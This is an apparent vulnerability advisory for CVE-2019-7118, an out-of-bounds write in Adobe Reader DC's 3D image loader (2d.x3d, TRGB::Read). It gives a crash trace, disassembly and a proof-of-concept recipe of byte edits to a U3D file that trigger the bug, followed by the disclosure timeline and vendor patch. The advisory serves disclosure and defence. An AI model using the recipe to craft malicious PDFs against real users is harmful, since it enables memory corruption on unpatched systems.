CVE: CVE-2019-7118

Tested Versions:

  • Adobe Reader DC 2019.010.20064

Product URL(s):

Description of the vulnerability

Adobe Acrobat is a family of application software and Web services developed by Adobe Inc. to view, create, manipulate, print and manage files in Portable Document Format (PDF). It provides compatibility to the ECMA-363 Standard (Universal 3D File Format) via 3difr.x3d, 2d.x3d and rt3d.dll, which allow viewing embedded 3D contents in PDF files. The ECMA-363 standard allows external texture images to be encoded with the Texture Resource Declaration Block, with options to load either JPEG/PNG images embedded in the PDF file, or other image types from the local file system. These external image formats include TGA, TIFF, PIC, GIF, BMP, PCX, PPM, IFF, FLI/FLC, RGB, PSD, RLE and CEL. The 2d.x3d module is activated when the users choose to enable 3D content display.

Vulnerabilities in this module do not affect a default installation, however, in certain industry sectors that have frequent exchange of 3D PDF files (e.g., CAD designs), 3D contents may be enabled as default, leaving users vulnerable to this attack vector.

An arbitrary write can be observed in the context of the sandboxed process as the logged on user.

# The debugging and analysis were done on an Adobe Reader DC 2019.010.20064.
# The stack trace at crash site:

(cf4.f38): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000021 ebx=0030adc4 ecx=3a098000 edx=000000d9 esi=000000da edi=3a08df20
eip=66307915 esp=0030ad8c ebp=0030adb4 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010297

2d!png_set_filter_heuristics+0x44b7:
66307915 8801            mov     byte ptr [ecx],al          ds:0023:3a098000=??

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0030adb4 66307a4a 36282f90 38412fb0 38256e68 2d!png_set_filter_heuristics+0x44b7
0030afd4 66302a32 3a0d5fa8 38256e68 38412fb0 2d!png_set_filter_heuristics+0x45ec
0030afe8 66ea779f 00000006 3a0d5fa8 38256e68 2d!E3DLLFunc+0xb74
0030b008 66e6ae03 36282f90 00000006 3a0d5fa8 rt3d!FILETYPE::Func2d+0x5e
0030b490 66e69399 39ffa5a8 0030b948 00000000 rt3d!PrepareRescale+0xac8
0030b4c8 66e9c7fd 39ffa5a8 0030b948 00000000 rt3d!GetPicture+0x2e
0030b704 66e9d50a 39ffa5a8 0030b948 00000000 rt3d!EndPicturesCache+0x5352
0030bb74 66e9ca3f 39ffa4e8 39ffa5a8 0030c1bc rt3d!EndPicturesCache+0x605f
0030c3c8 66e9ccfa 39ffa4e8 00000000 38412fb0 rt3d!EndPicturesCache+0x5594
0030c628 66e4fda1 33f0ccb0 38412fb0 00000000 rt3d!EndPicturesCache+0x584f
0030c648 66dd77ea 00000002 38412fb0 5484342d rt3d!e3_SCENE::MovePDVToCameraNode+0xfcd
0030cac8 66da3ebd 00000000 38b48fc8 00000000 rt3d!V4CUnloadRT+0x30b97
0030cae0 6836c267 38b48fc8 00000000 0030cb34 rt3d+0x3ebd

Brief analysis in TRGB::Read():

.text:100078F0     call    _ZN4TRGB7GetLineEi ; TRGB::GetLine(int)
.text:100078F5     push    edi
.text:100078F6     mov     ecx, ebx
.text:100078F8     mov     [ebp+var_C], eax
.text:100078FB     call    _ZN4TRGB4AddCEi ; TRGB::AddC(int)
.text:10007900     mov     ecx, [ebp+var_C]
.text:10007903     xor     edx, edx
.text:10007905     add     ecx, eax
.text:10007907     cmp     [ebp+var_1C], edx
.text:1000790A     jle     short loc_10007925
.text:1000790C     mov     edi, [ebp+var_10]
.text:1000790F     mov     esi, [ebp+var_1C]
.text:10007912
.text:10007912 loc_10007912:            ; CODE XREF: TRGB::Read(void)+334?j
.text:10007912     mov     al, [edx+edi]
.text:10007915     mov     [ecx], al       ; OOB Write
.text:10007917     add     ecx, [ebx+8]
.text:1000791A     inc     edx
.text:1000791B     cmp     edx, esi
.text:1000791D     jl      short loc_10007912
.text:1000791F     mov     esi, [ebp+var_18]
.text:10007922     mov     edi, [ebp+var_14]

The call stack near crash site is resolved as:

#0 Crash EIP = !2d.x3d + 0x7915
#1 TRGB::Read(void)
#2 _LoadRGB(e3_STREAM *, e3_PICTURE *, e3_CONTEXT *)
#3 RGBImport(unsigned int, e3_STREAM *, e3_PICTURE *, e3_interface *)
#4 ...

Proof of Concept

To load external image with shading_M.u3d:

000002f0: 28 7c 3f 00 00 00 00 00 14 ff ff ff 3c 00 00 00  (|?.........<...
00000300: 00 00 00 00 05 00 6c 69 6e 65 73 02 00 00 00 00  ......lines.....
00000310: 00 00 00 00 01 00 00 00 55 ff ff ff 1c 00 00 00  ........U.......
00000320: 00 00 00 00 05 00 6c 69 6e 65 73 00 01 00 00 00  ......lines.....
00000330: 01 00 00 0e 01 00 00 00 01 0e 00 00 52 dc 00 00  ............R...

The following modifications are made to the above block:

# Modify the containing Modifier Chain Block (0xFFFFFF14) length:
; shading_M.u3d: change data size field to 0x54 from 0x3C

# Texture Resource Declaration Block (0xFFFFFF55):
; shading_M.u3d: change data size field to 0x34 from 0x1A

# 2d.x3d Image Loading construction from shading_M.u3d
; 05 00 6c 69 6e 65 73       // Texture Name String: "lines"
; 00 01 00 00                // U32: Texture Height
; 00 01 00 00                // U32: Texture Width
; 0e                         // U8: Texture Image Type: 0x0E color RGB
; 01 00 00 00                // U32: Continuationi Image Count
;                            // Now the Continuation Image Format record
; 01                         //    U8: Compression Type 0x01 JPEG-24
; 0e                         //    U8: Texture Image Channels
; 00 00                      //    U16: Continuation Image Attributes: default
; 52 dc 00 00                //    U32: Image Data Byte Count

# Modify to the following:
; 05 00 6c 69 6e 65 73       // Texture Name String: "lines"
; 00 01 00 00                // U32: Texture Height 
; 00 01 00 00                // U32: Texture Width 
; 0e                         // U8: Texture Image Type: 0x0E color RGB 
; 01 00 00 00                // U32: Continuationi Image Count 
;                            // Now the Continuation Image Format record:
; 02                         //    U8: Compression Type 0x02 PNG
; 0e                         //    U8: Texture Image Channels
; 01 00                      //    U16: Continuation Image Attributes: external
; 01 00 00 00                //    U32: Image URL Count 1
;                            //    0x16 bytes string "httpAAAAAAAsynAA12.gif"
; 16 00 68 74 74 70 41 41 41 41 41 41 41 73 79 6e 41 41 31 32 2e 67 69 63

Timeline:

  • 2019-01-25 Vendor disclosure
  • 2019-04-09 Vendor patched

Vendor Response

The vendor has acknowledged the issue and released an update to address it.

The vendor’s advisory can be found here: APSB19-17.